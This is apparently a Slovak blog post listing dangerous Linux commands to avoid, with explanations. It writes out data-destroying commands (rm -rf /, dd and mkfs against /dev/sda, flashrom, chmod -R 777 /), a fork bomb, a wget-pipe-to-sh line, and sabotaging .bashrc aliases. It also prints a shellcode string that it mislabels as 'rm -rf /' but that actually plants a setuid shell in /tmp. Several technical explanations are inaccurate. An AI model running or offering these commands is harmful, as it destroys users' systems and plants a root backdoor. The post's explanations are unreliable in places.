«

»

Led 11

Príkazy, ktoré by ste v Linuxe nikdy nemali skúšať

V predošlých článkoch ste sa dozvedeli, aký mocný dokáže byť príkazový riadok. No tento hovorí o jeho sile a možnostiach v opačného hľadiska. Pretože v neskúsených rukách môže narobiť viac škody ako osohu. Najmä v prípadoch, kedy neviete, čo presne robíte. Pomôže Vám zorientovať sa v nebezpečných príkazoch, ktoré sa dokonca objavujú ako žarty od primitívnych trollov, ktorí majú potrebu ulahodiť svojmu pseudoegu. Ale to z trochu iného súdku.

 

Tieto príkazy sú nebezpečné v spojení so sudo! PRETO ICH NEODPORÚČAM ZA ŽIADNYCH OKOLNOSTÍ SKÚŠAŤ!!!

rm -rf /

rm -rf –no-preserve-root /

príkaz, ktorý vymaže všetko, čo môže… súbory na HDD či iných pripojených vymeniteľných médiách.

rm je príkaz, ktorý sa používa na vymazanie súborov či priečinkov

rm -r je príkaz, ktorý rekulzívne odstráni adresár aj s obsahom

rm -f je príkaz, ktorý odstráni „súbory iba čítanie“ bez opýtania

rm -rf / je príkaz, ktorý vymaže takmer všetko

rm -rf –no-preserve-root / je príklaz, ktorý vymaže úplne všetko

rm -rf * je príkaz, ktorý vymaže všetko v pracovnom adresári

rm -rf . je príkaz, ktorý vymaže pracovnú zložku aj s podzložkami

rm * je príkaz, ktorý vymaže všetko

rm -rf ~ je príkaz, ktorý vymaže domovský adresár aktívneho užívateľa

rm -f core * je príkaz, ktorý vymaže všetko, čo vo svojom názve obsahuje „core“

 

Hexa verzia rm –rf /

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

NIKDY NESPÚŠŤAJTE TENTO TYP PRÍKAZOV!!!

 

(){ :|: & };: sa volá fork bomb

Tento príkaz sa zaraďuje medzi tie, ktoré dokáže zničiť CPU čas a pamäť. A taktiež sa môže považovať za DOS útok. Preto je pre všetky počítač nebezpečný. Jeho správanie sa dá prirovnať k počítačovým vírusom, ktoré v nekonečnom rade vytvárajú kópie samých seba. A takto isto sa správa aj fork bomb. Vytvorením jedného procesu sa vytvoria dva, ktoré následne vytvoria ďalšie dva… Pričom každý nový proces má iný PID a všetky bežia. Čoho výsledkom bude zamrznutie systému, zničenie RAM či HDD s možnou stratou údajov, niektoré programy môžu začať padať či sa vôbec nespustia, a v najhoršom prípade i tzv. kernel panic.

() zoskupuje príkazy (čiže vytvára kópiu samého seba) alebo identifikuje funkciu

{} obklopuje funkcie, čím vytvára jej anonymitu (funkcia je bez mena)

: (null) vracia true (návratová hodnota je 0), čo v podstate iba znamená oznámenie úspechu. Ide o shell ekvivalent NOP. V assemblery ide o inštrukciu, ktorá nič nerobí. Jej použitie má význam, ak potrebujeme, aby proces, kým sa spustí, počkal na stanovený parameter.

| (pipeline; rúra) odosiela štandardný výstup predchádzajúceho príkazu na štandardný vstup nasledujúceho príkazu (to znamená, že výstup predchádzajúceho príkazu je vstup pre ten nasledujúci prostredníctvom anonymného zreťazenia).

& príkazy sa vykonávajú na pozadí

; oddeľuje príkazy

 

Príkazy zapísané priamo na disk:

mkfs.ext4 /dev/sda1 je príkaz, ktorým sa naformátuje disk /dev/sda1

príkaz > /dev/sda zapíše akýkoľvek príkaz priamo na HDD

Zapisovať akýkoľvek príkaz priamo na HDD je je veľmi nebezpečné! Pretože, ak tento príkaz bude fungovať, zapíše sa priamo na HDD, čo spôsobí poškodenie samotného OS!

Všetky príkazy, i tie len s informatívnou hodnotu, ak sú zapísané priamo na /dev/sda môžu poškodiť superblok, MBR alebo v najhoršom prípade sa disk stane úplne nepoužiteľný! Ani po naformátovaní, novom rozdelení disku a nainštalovaní Linuxu!

> presmeruje štandardný príkaz do zadaného umiestnenia namiesto na obrazovku, čo má v tomto prípade devastujúci účinok na HDD i súborový systém!

superblok je dátová štruktúra obsahujúca najzákladnejšie informácie o disku (geometria, voľné i využité miesto, umiestnenie prvého i-nodu. AK je superblok poškodený, súborový systém je k ničomu.

i-nody sú základné stavebné jednotky súborového systému. Ide o základnú riadiacu štruktúru, ktorá poukazuje buď na ďalšie i-nody alebo ba bloky dát.

MBR (Master Boot Record) je prvý oddiel disku, ktorý obsahuje program, ktorý určí začiatok partície, načíta bootsektor a spustí OS

 

Stiahnutie príkazu a jeho okamžité spustenie:

wget http://example.com/something -O – | sh je príkaz, ktorý stiahne a okamžite spustí program. Pokiaľ ide o overený zdroj, až taký veľký problém to nie je. Ale aj napriek tomu sa to neodporúča.

 

dd bez uváženia:

dd if=pseudozariadenie of=/dev/zariadenie (vstupný súbor sa namiesto štandardného vstupu načíta z novo definovaného)

Najhoršie na týchto príkazoch je, že vymažú úplne všetko… celý OS, nuly, súborový systém, partície či dokonca MBR.

 

Zoznam pseudozariadení:

/dev/null je pseudozariadenie, do ktorého sa dá zapísať neobmedzené množstvo dát, ktoré v ňom nenávratne zmiznú. Po skončení zápisu povie, že zápis skončil úspešne. Pri čítaní vyzerá ako prázdny. Používa sa ako výstup pre nežiadúce procesy alebo ako prázdny súbor pre ih vstup. Nazýva sa aj čierna diera. Treba ale podotknúť, že /dev/null nie je zariadenie, ale špeciálny súbr. Preto príkaz mv (premiestnenie) nebude fungovať.

/dev/zero je pseudozariadenie, do ktorého sa dá zapísať neobmedzené množstvo dát, ktoré v ňom nenávratne zmiznú. Pri čítaní produkuje nekonečné množstvo nulových bajtov. Najčastejšie za používa ako zabezpečenie znakov určených na inicializáciu ukladania dát.

/dev/full je pseudozariadenie, ktoré zakaždým vracia chybovú hlášku o nedostatku miesta. Používa sa na testovanie, ako sa disk správa pri nedostatku miesta.

/dev/random je pseudozariadenie, ktoré pri čítaní vracia pseudonáhodné číslo. Zápis sa pri ňom nepoužíva, i keď je možný. Umožňuje prístup ku „šumu vo vonkajšom prostredí“ zhromaždené z ovládačov či iných zariadení. Pokiaľ je prázdny, čítanie je blokované a čaká sa na zaplnenie. Slúži ako kryptografický generátor.

/dev/urandom je pseudozariadenie, ktoré pri čítaní vracia pseudonáhodné číslo. Náprotivok k predošlému pseudozariadeniu. Líši sa v tom, že opakovanie produkuje viac pseudonáhodných čísel, čoho výsledkom je podstatne menej entropie ako v predchádzajúcom prípade. Tiež sa zvykne používať na kryptovanie. No na dlhšie obdobie sa neodporúča.

 

dd if=/dev/random of=/dev/sda je príkaz, ktorým doslova sda odrovnáte, tým, že sa do blokov zapíšu náhodné dáta.

dd if=/dev/random | flashrom -w je asi najväčšia nočná mora, pretože obnova nie je možná. Tento príkaz uvedie OS na úroveň BIOSu! A keďže BIOS je v podstate firmware pre PC, ktorý umožňuje rozoznávanie hardwaru, bez neho nie je možné spustiť OS! Jediným riešením je výmena základovej dosky!

dd if=/dev/urandom of=/dev/sda

dd if=/dev/urandom of=/dev/sda bs=4k je správny príkaz pre náhodný zápis

dd if=/dev/urandom of=/dev/mem bs=1 count=1 seek=$RANDOM

dd if=/dev/zero of=/dev/sda sa dá nazvať aj nízkoúrovňové formátovanie. Všetky údaje na disku sa stratia. No ak tento príkaz vykonáte v prípade, že na disku nemáte žiadne osobné dáta, takýmto spôsobom môžete nuly dostať nad ne. A ak následne naformátujete na NTFS či FAT, disk by mal byť bezpečne vymazaný.

dd if=/dev/zero of=/dev/sda bs=4k je správny príkaz pre zápis núl

dd if=/dev/zero | flashrom -w je tá istá tragédia ako dd if=/dev/random | flashrom -w

dd if=/dev/zero of=/dev/<bootdisk>

dd if=/dev/zero of=/dev/hda bs=512 count=1 vďaka tomuto príkazu do MBR pridáte nuly, čím sa OS nenabootuje.

dd if=/dev/zero bs=512 of=/dev/mem

/dev/mem poskytuje prístup ku fyzickej pamäti

/dev/kmen poskytuje prístup ku virtuálnej pamäti (swapu)

 

Ďalšie nebezpečné príkazy:

mv ~ /dev/null je príkaz vďaka ktorému svoj domovský priečinok presuniete do pseudozariadenia prezývaného čierna diera. Prídete tak o všetky údaje.

 

Chmod je príkaz, ktorý upravuje práva pre súbory či zložky. Číta sa zľava doprava – prvé číslo je vlastník, druhé skupina a tretie ostatní. Hodnoty sa sčítavajú (r+w+x).

r znamená, že súbor je iba na čítanie s oktánovým číslom 4

w znamená, že súbor je aj pre zápis s oktánovým číslom 2

x znamená, že súbor je spustiteľný s oktánovým číslom 1

chmod -R 777 / znamená, že všetci majú práva pre čítanie, zápis i spúšťanie

chmod -R 777 * / nastaví práva pre zápis, čítanie i spustenie pre celý systém

chmod 711 / znamená, že vlastník má pre čítanie, zápis a spúšťanie. Ostatní môžu iba spúšťať programy.

chmod 666 / znamená, že každý môže čítať i zapisovať

chmod -R -x / všetky programy, súbory i zložky budú nespustiteľné

chmod 000 -R / poskytuje práva iba pre superužívateľa

chmod -R 3 * nastaví súbory, zložky a programy pre zápis a spustenie pre celý systém

chown nobody:nobody -R / odoberie všetky prístupové práva všetkým užívateľom, vrátane superužívateľa (roota)

 

echo sa používa na vypísanie správy. Tento nástroj svoje argumenty skopíruje do štandardného vstupu.

alias je príkaz na tvorbu prezývok

cd je príkaz meniaci pracovný priečinok

ls je príkaz, ktorý súži na vypísanie obsahu adresáru

>> prikáže shellu pridať na koniec výstupného súboru nové údaje

> presmeruje štandardný príkaz do zadaného umiestnenia namiesto na obrazovku

označuje reťazec a zabraňuje substitúcii

označí reťazec, povolí substitúciu premenných a príkazov

echo „oh shit“ > /boot/grub/grub.cfg kde grub.cfg je konfiguračnú súbor GRUBu. Týmto príkazom na koniec konfiguračného súboru pripíšete „oh shit“.

echo „alias cd=’rm -rf‘ >> ~/.bashrc“ kde .bashrc je súbor obsahujúci štartovacie skripty shellu. Tento príkaz zmení pôvodný význam cd na rm -rf.

echo „alias ls=’rm -rf /'“ >> /home/menouzivatela/.bashrc alebo inak sa tomu hovorí škodoradosť. Tento príkaz zmení pôvodný význam ls na rm -rf u vybraného používateľa.

 

kill -9 -1 kde PID 1 patrí initu. Pokiaľ by ste zadali iba kill -1, vráti sa otázka o ukončení. Pomocou -9 sa proces okamžite ukončí (zabije).

Viac nájde tu: http://cs.wikipedia.org/wiki/Signál_(informatika)

init je deamon program, ktorý umožňuje spúšťať ostatné procesy. Pri bootovaní sa spúšťa ako prvý.

 

cat /dev/zero > /var týmto príkazom, namiesto zobrazenia obsahu /dev/zero, prepíšete systémovú zložku /var

cat je veľmi jednoduchý príkaz, ktorý zobrazuje obsah súborov

> presmeruje štandardný príkaz do zadaného umiestnenia namiesto na obrazovku

/var je systémová zložka obsahujúca dáta a konfiguračné súbory

 

yes > /dev/null | &

yes v tomto prípade znamená súhlas

> presmeruje štandardný príkaz do zadaného umiestnenia namiesto na obrazovku

/dev/null je pseudozariadenie, do ktorého sa dá zapísať neobmedzené množstvo dát, ktoré v ňom nenávratne zmiznú. Po skončení zápisu povie, že zápis skončil úspešne. Pri čítaní vyzerá ako prázdny. Používa sa ako výstup pre nežiadúce procesy alebo ako prázdny súbor pre ih vstup. Nazýva sa aj čierna diera. Treba ale podotknúť, že /dev/null nie je zariadenie, ale špeciálny súbr. Preto príkaz mv (premiestnenie) nebude fungovať.

| (pipeline; rúra) odosiela štandardný výstup predchádzajúceho príkazu na štandardný vstup nasledujúceho príkazu (to znamená, že výstup predchádzajúceho príkazu je vstup pre ten nasledujúci prostredníctvom anonymného zreťazenia).

& príkazy sa vykonávajú na pozadí

 

O autorovi

lombardo1981

Ja som proste ja. Baba zamilovaná do Archu, kyberpunku, metalu, spevu a Slovenských čuvačov.

Napsat komentář

%d blogerům se to líbí: